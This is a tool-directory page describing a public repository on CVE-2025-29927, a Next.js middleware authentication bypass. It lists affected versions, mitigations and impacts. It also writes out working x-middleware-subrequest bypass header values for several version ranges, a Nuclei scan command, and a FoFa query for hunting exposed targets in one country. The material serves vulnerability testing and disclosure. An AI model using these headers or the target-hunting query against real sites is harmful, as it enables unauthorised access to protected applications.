Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-29927 — CVE-2025-29927: Next.js Middleware Bypass Vulnerability | Kitploit
Tools/GitHubGitHub/kh4sh3i/cve-2025-29927
Authentication & AuthorizationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubkh4sh3i/cve-2025-29927

CVE-2025-29927

CVE-2025-29927: Next.js Middleware Bypass Vulnerability

View Repository
241 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share



CVE-2025-29927

CVE-2025-29927: Next.js Middleware Bypass Vulnerability This repository demonstrates the CVE-2025-29927 vulnerability in Next.js where the internal header x-middleware-subrequest can be used to bypass middleware checks like authentication.

Affected Versions

root@kitploit:~
Next.js 15.x < 15.2.3
Next.js 14.x < 14.2.25
Next.js 13.x < 13.5.9

Mitigation and Remediation

  • Upgrade Next.js to patched versions:
root@kitploit:~
Next.js 15.x < 15.2.3
Next.js 14.x < 14.2.25
Next.js 13.x < 13.5.9
  • If upgrading is not immediately possible, block or strip the x-middleware-subrequest header at the web server or proxy level:

Impact Scenarios

  • Authorization Bypass: Attackers can access protected routes without proper authentication or authorization.
  • Content Security Policy (CSP) Bypass: If CSP headers are added via middleware, attackers can bypass these security controls, potentially enabling cross-site scripting (XSS) attacks.
  • Denial of Service via Cache-Poisoning: In certain configurations, attackers could poison caches with unauthorized content by bypassing middleware that sets cache control headers.

Using the nextjs-CVE-2025-29927 Nuclei template

root@kitploit:~
nuclei -u https://example.com -t ./CVE-2025-29927.yaml -fr

Exploitation Across Different Next.js Versions

  • For versions prior to 12.2:
root@kitploit:~
x-middleware-subrequest: pages/_middleware
x-middleware-subrequest: pages/dashboard/_middleware
x-middleware-subrequest: pages/dashboard/panel/_middleware
  • For versions 12.2 and later:
root@kitploit:~
x-middleware-subrequest: middleware
x-middleware-subrequest: src/middleware
  • For versions 13.2.0 and later:
root@kitploit:~
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware

Hunting traget with FoFa

root@kitploit:~
header="x-middleware-rewrite" && country="IR"

free CTF for this

  • CTF
Download Tool